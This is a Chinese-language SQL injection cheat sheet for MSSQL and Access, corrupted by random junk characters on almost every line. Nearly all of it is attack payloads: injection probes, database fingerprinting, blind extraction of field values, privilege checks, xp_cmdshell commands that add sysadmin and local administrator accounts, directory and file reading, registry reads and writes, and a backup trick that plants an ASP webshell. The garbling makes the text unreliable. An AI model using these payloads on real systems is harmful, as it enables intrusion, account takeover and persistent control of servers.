1.判断是否有注入;and 1=1 ;and 1=2 `IEq@Wr#$!
2.初步判断是否是mssql ;and user>0 Gs[Vu@*
6(>3P
3.注入参数是字符'and [查询条件] and ''=' Eo%UuSi
i]it5
4.搜索时没过滤参数的'and [查询条件] and '%25'=' JNh=fvO2i
9*#$0Y=
5.判断数据库系统 blJIto'
Da"yZ\4
;and (select count(*) from sysobjects)>0 mssql 8@E8!w&~
?n!lUr$:y
;and (select count(*) from msysobjects)>0 access ]]>nbgGn#
ecn}iN
>@^<S_KVh
9'1hjd3k
6.猜数据库 ;and (select Count(*) from [数据库名])>0 @ru<4`h
q1 H=/[a
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 x+4vss
|5W8Q|>%
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ]Z_$'?f
+H7y/#e+3
9.(1)猜字段的ascii值(access) 4[`[mE18.
^w>&?A'!
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 )AOPiC$jL
Hw Z^D=A
(2)猜字段的ascii值(mssql) l1&5uwuF
Bb~5& @M|N
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 l{8CISO*
P*0f~eu
10.测试权限结构(mssql) PC|'yAN:
GE@uOJ6H
[q'eENG
(#oYyM]
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ~]&B>q
V{!lk]p}a
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- <KtBv Ip]
@:
Z#E[N H
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- HL@TcfOe~
`mrCu>7
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- N r<9u$d9=
^uhxURF
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- V~85oUc\-
gV|Y54}T
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Rs2-94$!5
)S2iIi;Bq
;and 1=(select IS_MEMBER('db_owner'));-- pajy#0 U
8
}-7{
u#FXW_-TK
8'KMxR
11.添加mssql和系统的帐户 DcN"=Y
vO]J]][
;exec master.dbo.sp_addlogin username;-- >60"p~t
;exec master.dbo.sp_password null,username,password;-- `y2ljIWJ
!N1J@LT5h
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Atd1qJ
]U[&uymax
;exec master.dbo.xp_cmdshell 'net user username password !Av1Leb9$
Y''6NGf
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- d@ZoV
r{S=Z~J
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 6 Uw;C84!
z?kd'j`FG
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- uf]Y^,2
T`?n,'!(
0~]QIdu{AR
jn$j^51`C
12.(1)遍历目录 lUHtjr
Ff<)4`J
;create table dirs(paths varchar(100), id int) akC>s8tqlA
[/OQyb4F<
;insert dirs exec master.dbo.xp_dirtree 'c:\' @h#Xix7
:_Fxy5}
;and (select top 1 paths from dirs)>0 b
=b:
= /Wu'gG)
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) .E$q&7@/j
| 3giZ{
skR,-:"8
PBrnzkoY
(2)遍历目录 o@3B(j;J`
rz.IoQo
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- )b92yP{
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Nd!c2`
TKOP;[1h
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ;Iq5|rzDn
u!Bk,}CE`
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 {y6C0A*
%ek"!A
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 &XQZs`41+
F7T E|LZ
x:
~d@
y(v_-6b
13.mssql中的存储过程 W-XpJ\_
(6R4 \8z2
xp_regenumvalues 注册表根键, 子键 >vVw!.fJ
A(+:S"|@
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 JZ=5Bpw
"w&/m}E,[
xp_regread 根键,子键,键值名 g1@wf
$<OhGk-
;exec xp_regread Qh-4vy=r
fHfY}BQS
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 "8HE^Po/pn
tpYa?ZCM
xp_regwrite 根键,子键, 值名, 值类型, 值 <%K UdkzEP
FT.@1/ )
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 qq;b~ 3kW
}OrYpZob
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 d#\W hRE
O]qPmEj
xp_regdeletevalue 根键,子键,值名 GN%(9N'W
\r;F2C0*i
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 <HQ&-j x
2xTT)9Tq*
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 d(S}NH
A5XR3$5P
gs`> C(
3eKQ<$w
14.mssql的backup创建webshell
%+wF"
frqJN
use model RH1uVdJ1
~G`J
r
create table cmd(str image); bk3Unreh
gX,9Gh
insert into cmd(str) values (''); q#vlBL
` X}85
backup database model to disk='c:\l.asp'; &+r4
-0 0}if7
r7I
B{}>-
IKcKRw/O$
15.mssql内置函数 irMd
jG
c3k|G<C2
;and (select @@version)>0 获得Windows的版本号 ~>%DKJe
yVS\Q,:J9
;and user_name()='dbo' 判断当前系统的连接用户是不是sa \L[i9m| e
84M3c
;and (select user_name())>0 爆当前系统的连接用户 iP "EA8
Q)^g3J
;and (select db_name())>0 得到当前连接的数据库 FFe)e>bH
Uix{"
Q6^x8
=!,Gst_
16.简洁的webshell )^
<3\e
%^.P~s6
use model HXks_ix )
k^%_V|&W/(
create table cmd(str image); 5I,$EGG
N[k<@Q?*a
insert into cmd(str) values (''); @E_zR
4P kfUMX
backup database model to disk='g:\wwwtest\l.asp';